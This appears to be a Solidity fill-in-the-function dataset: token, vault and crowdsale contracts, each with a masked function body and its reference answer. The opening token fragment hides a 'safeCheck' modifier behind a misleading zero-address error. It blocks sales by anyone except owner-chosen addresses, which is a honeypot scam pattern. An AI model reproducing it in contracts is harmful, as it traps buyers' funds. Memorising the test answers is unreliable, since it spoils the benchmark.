_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_BTCST(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(msg.sender == _address0, "!_address0");_address1 = addressn;
function ints(address addressn) public
function ints(address addressn) public
7,526
iCollateralVaultProxy
repay
contract iCollateralVaultProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; mapping (address => address[]) private _ownedVaults; mapping (address => address) private _vaults; // Spending limits per user measured in dollars 1e8 mapping (address => mapping (address => uint256)) private _limits; address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F); constructor() public { deployVault(); } function limit(address vault, address spender) public view returns (uint256) { return _limits[vault][spender]; } function increaseLimit(address vault, address spender, uint256 addedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].add(addedValue)); } function decreaseLimit(address vault, address spender, uint256 subtractedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "decreased limit below zero")); } function _approve(address vault, address spender, uint256 amount) internal { require(spender != address(0), "approve to the zero address"); _limits[vault][spender] = amount; } function isVaultOwner(address vault, address owner) public view returns (bool) { return _vaults[vault] == owner; } function isVault(address vault) public view returns (bool) { return _vaults[vault] != address(0); } // LP deposit, anyone can deposit/topup function deposit(iCollateralVault vault, address reserve, uint256 amount) external { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.activate(reserve); } // No logic, handled underneath by Aave function withdraw(iCollateralVault vault, address reserve, uint256 amount) external { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); vault.withdraw(reserve, amount, msg.sender); } // amount needs to be normalized function borrow(iCollateralVault vault, address reserve, uint256 amount) external { uint256 _borrow = getReservePriceUSD(reserve).mul(amount); _approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance")); vault.borrow(reserve, amount, msg.sender); } function repay(iCollateralVault vault, address reserve, uint256 amount) public {<FILL_FUNCTION_BODY> } function getVaults(address owner) external view returns (address[] memory) { return _ownedVaults[owner]; } function deployVault() public returns (address) { address vault = address(new iCollateralVault()); // Mark address as vault _vaults[vault] = msg.sender; // Set vault owner address[] storage owned = _ownedVaults[msg.sender]; owned.push(vault); _ownedVaults[msg.sender] = owned; return vault; } function getAave() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPool(); } function getAaveCore() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPoolCore(); } function getAaveOracle() public view returns (address) { return LendingPoolAddressesProvider(aave).getPriceOracle(); } function getReservePriceETH(address reserve) public view returns (uint256) { return Oracle(getAaveOracle()).getAssetPrice(reserve); } function getReservePriceUSD(address reserve) public view returns (uint256) { return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()); } }
contract iCollateralVaultProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; mapping (address => address[]) private _ownedVaults; mapping (address => address) private _vaults; // Spending limits per user measured in dollars 1e8 mapping (address => mapping (address => uint256)) private _limits; address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F); constructor() public { deployVault(); } function limit(address vault, address spender) public view returns (uint256) { return _limits[vault][spender]; } function increaseLimit(address vault, address spender, uint256 addedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].add(addedValue)); } function decreaseLimit(address vault, address spender, uint256 subtractedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "decreased limit below zero")); } function _approve(address vault, address spender, uint256 amount) internal { require(spender != address(0), "approve to the zero address"); _limits[vault][spender] = amount; } function isVaultOwner(address vault, address owner) public view returns (bool) { return _vaults[vault] == owner; } function isVault(address vault) public view returns (bool) { return _vaults[vault] != address(0); } // LP deposit, anyone can deposit/topup function deposit(iCollateralVault vault, address reserve, uint256 amount) external { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.activate(reserve); } // No logic, handled underneath by Aave function withdraw(iCollateralVault vault, address reserve, uint256 amount) external { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); vault.withdraw(reserve, amount, msg.sender); } // amount needs to be normalized function borrow(iCollateralVault vault, address reserve, uint256 amount) external { uint256 _borrow = getReservePriceUSD(reserve).mul(amount); _approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance")); vault.borrow(reserve, amount, msg.sender); } <FILL_FUNCTION> function getVaults(address owner) external view returns (address[] memory) { return _ownedVaults[owner]; } function deployVault() public returns (address) { address vault = address(new iCollateralVault()); // Mark address as vault _vaults[vault] = msg.sender; // Set vault owner address[] storage owned = _ownedVaults[msg.sender]; owned.push(vault); _ownedVaults[msg.sender] = owned; return vault; } function getAave() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPool(); } function getAaveCore() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPoolCore(); } function getAaveOracle() public view returns (address) { return LendingPoolAddressesProvider(aave).getPriceOracle(); } function getReservePriceETH(address reserve) public view returns (uint256) { return Oracle(getAaveOracle()).getAssetPrice(reserve); } function getReservePriceUSD(address reserve) public view returns (uint256) { return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()); } }
IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.repay(reserve, amount);
function repay(iCollateralVault vault, address reserve, uint256 amount) public
function repay(iCollateralVault vault, address reserve, uint256 amount) public
64,087
Lockcoin
null
contract Lockcoin is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; string public name; uint8 public decimals; string public symbol; address public owner; constructor() public {<FILL_FUNCTION_BODY> } modifier onlyOwner(){ require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function() payable public { revert(); } }
contract Lockcoin is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; string public name; uint8 public decimals; string public symbol; address public owner; <FILL_FUNCTION> modifier onlyOwner(){ require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function() payable public { revert(); } }
decimals = 18; totalSupply_ = 320000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_; name = "Lockcoin"; symbol = "LOCK"; owner = msg.sender; Transfer(address(0x0), msg.sender , totalSupply_);
constructor() public
constructor() public
43,205
StandardToken
transferFrom
contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "APC"; string public constant name = "AmpereX Coin"; uint _totalSupply = 10000000000 * 10 ** 6; uint8 public constant decimals = 6; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "APC"; string public constant name = "AmpereX Coin"; uint _totalSupply = 10000000000 * 10 ** 6; uint8 public constant decimals = 6; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
85,309
Crowdsale
numberOfBackers
contract Crowdsale is Pausable { using SafeMath for uint; struct Backer { uint weiReceived; // amount of ETH contributed uint tokensToSend; // amount of tokens sent bool refunded; } Token public token; // Token contract reference address public multisig; // Multisig contract that will receive the ETH address public team; // Address at which the team tokens will be sent uint public ethReceivedPresale; // Number of ETH received in presale uint public ethReceivedMain; // Number of ETH received in public sale uint public tokensSentPresale; // Tokens sent during presale uint public tokensSentMain; // Tokens sent during public ICO uint public totalTokensSent; // Total number of tokens sent to contributors uint public startBlock; // Crowdsale start block uint public endBlock; // Crowdsale end block uint public maxCap; // Maximum number of tokens to sell uint public minInvestETH; // Minimum amount to invest bool public crowdsaleClosed; // Is crowdsale still in progress Step public currentStep; // To allow for controlled steps of the campaign uint public refundCount; // Number of refunds uint public totalRefunded; // Total amount of Eth refunded uint public numOfBlocksInMinute; // number of blocks in one minute * 100. eg. WhiteList public whiteList; // whitelist contract uint public tokenPriceWei; // Price of token in wei mapping(address => Backer) public backers; // contributors list address[] public backersIndex; // to be able to iterate through backers for verification. uint public priorTokensSent; uint public presaleCap; // @notice to verify if action is not performed out of the campaign range modifier respectTimeFrame() { require(block.number >= startBlock && block.number <= endBlock); _; } // @notice to set and determine steps of crowdsale enum Step { FundingPreSale, // presale mode FundingPublicSale, // public mode Refunding // in case campaign failed during this step contributors will be able to receive refunds } // Events event ReceivedETH(address indexed backer, uint amount, uint tokenAmount); event RefundETH(address indexed backer, uint amount); // Crowdsale {constructor} // @notice fired when contract is crated. Initializes all constant and initial values. // @param _dollarToEtherRatio {uint} how many dollars are in one eth. $333.44/ETH would be passed as 33344 function Crowdsale(WhiteList _whiteList) public { require(_whiteList != address(0)); multisig = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; team = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; maxCap = 1510000000e8; minInvestETH = 1 ether/2; currentStep = Step.FundingPreSale; numOfBlocksInMinute = 408; // E.g. 4.38 block/per minute wold be entered as 438 priorTokensSent = 4365098999e7; //tokens distributed in private sale and airdrops whiteList = _whiteList; // white list address presaleCap = 160000000e8; // max for sell in presale tokenPriceWei = 57142857142857; // 17500 tokens per ether } // @notice Specify address of token contract // @param _tokenAddress {address} address of token contract // @return res {bool} function setTokenAddress(Token _tokenAddress) external onlyOwner() returns(bool res) { require(token == address(0)); token = _tokenAddress; return true; } // @notice set the step of the campaign from presale to public sale // contract is deployed in presale mode // WARNING: there is no way to go back function advanceStep() public onlyOwner() { require(Step.FundingPreSale == currentStep); currentStep = Step.FundingPublicSale; minInvestETH = 1 ether/4; } // @notice in case refunds are needed, money can be returned to the contract // and contract switched to mode refunding function prepareRefund() public payable onlyOwner() { require(crowdsaleClosed); require(msg.value == ethReceivedPresale.add(ethReceivedMain)); // make sure that proper amount of ether is sent currentStep = Step.Refunding; } // @notice return number of contributors // @return {uint} number of contributors function numberOfBackers() public view returns(uint) {<FILL_FUNCTION_BODY> } // {fallback function} // @notice It will call internal function which handles allocation of Ether and calculates tokens. // Contributor will be instructed to specify sufficient amount of gas. e.g. 250,000 function () external payable { contribute(msg.sender); } // @notice It will be called by owner to start the sale function start(uint _block) external onlyOwner() { require(startBlock == 0); require(_block <= (numOfBlocksInMinute * 60 * 24 * 54)/100); // allow max 54 days for campaign startBlock = block.number; endBlock = startBlock.add(_block); } // @notice Due to changing average of block time // this function will allow on adjusting duration of campaign closer to the end function adjustDuration(uint _block) external onlyOwner() { require(startBlock > 0); require(_block < (numOfBlocksInMinute * 60 * 24 * 60)/100); // allow for max of 60 days for campaign require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past endBlock = startBlock.add(_block); } // @notice It will be called by fallback function whenever ether is sent to it // @param _backer {address} address of contributor // @return res {bool} true if transaction was successful function contribute(address _backer) internal whenNotPaused() respectTimeFrame() returns(bool res) { require(!crowdsaleClosed); require(whiteList.isWhiteListed(_backer)); // ensure that user is whitelisted uint tokensToSend = determinePurchase(); Backer storage backer = backers[_backer]; if (backer.weiReceived == 0) backersIndex.push(_backer); backer.tokensToSend += tokensToSend; // save contributor's total tokens sent backer.weiReceived = backer.weiReceived.add(msg.value); // save contributor's total ether contributed if (Step.FundingPublicSale == currentStep) { // Update the total Ether received and tokens sent during public sale ethReceivedMain = ethReceivedMain.add(msg.value); tokensSentMain += tokensToSend; }else { // Update the total Ether recived and tokens sent during presale ethReceivedPresale = ethReceivedPresale.add(msg.value); tokensSentPresale += tokensToSend; } totalTokensSent += tokensToSend; // update the total amount of tokens sent multisig.transfer(address(this).balance); // transfer funds to multisignature wallet require(token.transfer(_backer, tokensToSend)); // Transfer tokens emit ReceivedETH(_backer, msg.value, tokensToSend); // Register event return true; } // @notice determine if purchase is valid and return proper number of tokens // @return tokensToSend {uint} proper number of tokens based on the timline function determinePurchase() internal view returns (uint) { require(msg.value >= minInvestETH); // ensure that min contributions amount is met uint tokensToSend = msg.value.mul(1e8) / tokenPriceWei; //1e8 ensures that token gets 8 decimal values if (Step.FundingPublicSale == currentStep) { // calculate price of token in public sale require(totalTokensSent + tokensToSend + priorTokensSent <= maxCap); // Ensure that max cap hasn't been reached }else { tokensToSend += (tokensToSend * 50) / 100; require(totalTokensSent + tokensToSend <= presaleCap); // Ensure that max cap hasn't been reached for presale } return tokensToSend; } // @notice This function will finalize the sale. // It will only execute if predetermined sale time passed or all tokens are sold. // it will fail if minimum cap is not reached function finalize() external onlyOwner() { require(!crowdsaleClosed); // purchasing precise number of tokens might be impractical, thus subtract 1000 // tokens so finalization is possible near the end require(block.number >= endBlock || totalTokensSent + priorTokensSent >= maxCap - 1000); crowdsaleClosed = true; require(token.transfer(team, token.balanceOf(this))); // transfer all remaining tokens to team address token.unlock(); } // @notice Fail-safe drain function drain() external onlyOwner() { multisig.transfer(address(this).balance); } // @notice Fail-safe token transfer function tokenDrain() external onlyOwner() { if (block.number > endBlock) { require(token.transfer(multisig, token.balanceOf(this))); } } // @notice it will allow contributors to get refund in case campaign failed // @return {bool} true if successful function refund() external whenNotPaused() returns (bool) { require(currentStep == Step.Refunding); Backer storage backer = backers[msg.sender]; require(backer.weiReceived > 0); // ensure that user has sent contribution require(!backer.refunded); // ensure that user hasn't been refunded yet backer.refunded = true; // save refund status to true refundCount++; totalRefunded = totalRefunded + backer.weiReceived; require(token.transfer(msg.sender, backer.tokensToSend)); // return allocated tokens msg.sender.transfer(backer.weiReceived); // send back the contribution emit RefundETH(msg.sender, backer.weiReceived); return true; } }
contract Crowdsale is Pausable { using SafeMath for uint; struct Backer { uint weiReceived; // amount of ETH contributed uint tokensToSend; // amount of tokens sent bool refunded; } Token public token; // Token contract reference address public multisig; // Multisig contract that will receive the ETH address public team; // Address at which the team tokens will be sent uint public ethReceivedPresale; // Number of ETH received in presale uint public ethReceivedMain; // Number of ETH received in public sale uint public tokensSentPresale; // Tokens sent during presale uint public tokensSentMain; // Tokens sent during public ICO uint public totalTokensSent; // Total number of tokens sent to contributors uint public startBlock; // Crowdsale start block uint public endBlock; // Crowdsale end block uint public maxCap; // Maximum number of tokens to sell uint public minInvestETH; // Minimum amount to invest bool public crowdsaleClosed; // Is crowdsale still in progress Step public currentStep; // To allow for controlled steps of the campaign uint public refundCount; // Number of refunds uint public totalRefunded; // Total amount of Eth refunded uint public numOfBlocksInMinute; // number of blocks in one minute * 100. eg. WhiteList public whiteList; // whitelist contract uint public tokenPriceWei; // Price of token in wei mapping(address => Backer) public backers; // contributors list address[] public backersIndex; // to be able to iterate through backers for verification. uint public priorTokensSent; uint public presaleCap; // @notice to verify if action is not performed out of the campaign range modifier respectTimeFrame() { require(block.number >= startBlock && block.number <= endBlock); _; } // @notice to set and determine steps of crowdsale enum Step { FundingPreSale, // presale mode FundingPublicSale, // public mode Refunding // in case campaign failed during this step contributors will be able to receive refunds } // Events event ReceivedETH(address indexed backer, uint amount, uint tokenAmount); event RefundETH(address indexed backer, uint amount); // Crowdsale {constructor} // @notice fired when contract is crated. Initializes all constant and initial values. // @param _dollarToEtherRatio {uint} how many dollars are in one eth. $333.44/ETH would be passed as 33344 function Crowdsale(WhiteList _whiteList) public { require(_whiteList != address(0)); multisig = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; team = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; maxCap = 1510000000e8; minInvestETH = 1 ether/2; currentStep = Step.FundingPreSale; numOfBlocksInMinute = 408; // E.g. 4.38 block/per minute wold be entered as 438 priorTokensSent = 4365098999e7; //tokens distributed in private sale and airdrops whiteList = _whiteList; // white list address presaleCap = 160000000e8; // max for sell in presale tokenPriceWei = 57142857142857; // 17500 tokens per ether } // @notice Specify address of token contract // @param _tokenAddress {address} address of token contract // @return res {bool} function setTokenAddress(Token _tokenAddress) external onlyOwner() returns(bool res) { require(token == address(0)); token = _tokenAddress; return true; } // @notice set the step of the campaign from presale to public sale // contract is deployed in presale mode // WARNING: there is no way to go back function advanceStep() public onlyOwner() { require(Step.FundingPreSale == currentStep); currentStep = Step.FundingPublicSale; minInvestETH = 1 ether/4; } // @notice in case refunds are needed, money can be returned to the contract // and contract switched to mode refunding function prepareRefund() public payable onlyOwner() { require(crowdsaleClosed); require(msg.value == ethReceivedPresale.add(ethReceivedMain)); // make sure that proper amount of ether is sent currentStep = Step.Refunding; } <FILL_FUNCTION> // {fallback function} // @notice It will call internal function which handles allocation of Ether and calculates tokens. // Contributor will be instructed to specify sufficient amount of gas. e.g. 250,000 function () external payable { contribute(msg.sender); } // @notice It will be called by owner to start the sale function start(uint _block) external onlyOwner() { require(startBlock == 0); require(_block <= (numOfBlocksInMinute * 60 * 24 * 54)/100); // allow max 54 days for campaign startBlock = block.number; endBlock = startBlock.add(_block); } // @notice Due to changing average of block time // this function will allow on adjusting duration of campaign closer to the end function adjustDuration(uint _block) external onlyOwner() { require(startBlock > 0); require(_block < (numOfBlocksInMinute * 60 * 24 * 60)/100); // allow for max of 60 days for campaign require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past endBlock = startBlock.add(_block); } // @notice It will be called by fallback function whenever ether is sent to it // @param _backer {address} address of contributor // @return res {bool} true if transaction was successful function contribute(address _backer) internal whenNotPaused() respectTimeFrame() returns(bool res) { require(!crowdsaleClosed); require(whiteList.isWhiteListed(_backer)); // ensure that user is whitelisted uint tokensToSend = determinePurchase(); Backer storage backer = backers[_backer]; if (backer.weiReceived == 0) backersIndex.push(_backer); backer.tokensToSend += tokensToSend; // save contributor's total tokens sent backer.weiReceived = backer.weiReceived.add(msg.value); // save contributor's total ether contributed if (Step.FundingPublicSale == currentStep) { // Update the total Ether received and tokens sent during public sale ethReceivedMain = ethReceivedMain.add(msg.value); tokensSentMain += tokensToSend; }else { // Update the total Ether recived and tokens sent during presale ethReceivedPresale = ethReceivedPresale.add(msg.value); tokensSentPresale += tokensToSend; } totalTokensSent += tokensToSend; // update the total amount of tokens sent multisig.transfer(address(this).balance); // transfer funds to multisignature wallet require(token.transfer(_backer, tokensToSend)); // Transfer tokens emit ReceivedETH(_backer, msg.value, tokensToSend); // Register event return true; } // @notice determine if purchase is valid and return proper number of tokens // @return tokensToSend {uint} proper number of tokens based on the timline function determinePurchase() internal view returns (uint) { require(msg.value >= minInvestETH); // ensure that min contributions amount is met uint tokensToSend = msg.value.mul(1e8) / tokenPriceWei; //1e8 ensures that token gets 8 decimal values if (Step.FundingPublicSale == currentStep) { // calculate price of token in public sale require(totalTokensSent + tokensToSend + priorTokensSent <= maxCap); // Ensure that max cap hasn't been reached }else { tokensToSend += (tokensToSend * 50) / 100; require(totalTokensSent + tokensToSend <= presaleCap); // Ensure that max cap hasn't been reached for presale } return tokensToSend; } // @notice This function will finalize the sale. // It will only execute if predetermined sale time passed or all tokens are sold. // it will fail if minimum cap is not reached function finalize() external onlyOwner() { require(!crowdsaleClosed); // purchasing precise number of tokens might be impractical, thus subtract 1000 // tokens so finalization is possible near the end require(block.number >= endBlock || totalTokensSent + priorTokensSent >= maxCap - 1000); crowdsaleClosed = true; require(token.transfer(team, token.balanceOf(this))); // transfer all remaining tokens to team address token.unlock(); } // @notice Fail-safe drain function drain() external onlyOwner() { multisig.transfer(address(this).balance); } // @notice Fail-safe token transfer function tokenDrain() external onlyOwner() { if (block.number > endBlock) { require(token.transfer(multisig, token.balanceOf(this))); } } // @notice it will allow contributors to get refund in case campaign failed // @return {bool} true if successful function refund() external whenNotPaused() returns (bool) { require(currentStep == Step.Refunding); Backer storage backer = backers[msg.sender]; require(backer.weiReceived > 0); // ensure that user has sent contribution require(!backer.refunded); // ensure that user hasn't been refunded yet backer.refunded = true; // save refund status to true refundCount++; totalRefunded = totalRefunded + backer.weiReceived; require(token.transfer(msg.sender, backer.tokensToSend)); // return allocated tokens msg.sender.transfer(backer.weiReceived); // send back the contribution emit RefundETH(msg.sender, backer.weiReceived); return true; } }
return backersIndex.length;
function numberOfBackers() public view returns(uint)
// @notice return number of contributors // @return {uint} number of contributors function numberOfBackers() public view returns(uint)
9,158
SnowDCoin
SnowDCoin
contract SnowDCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SnowDCoin() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
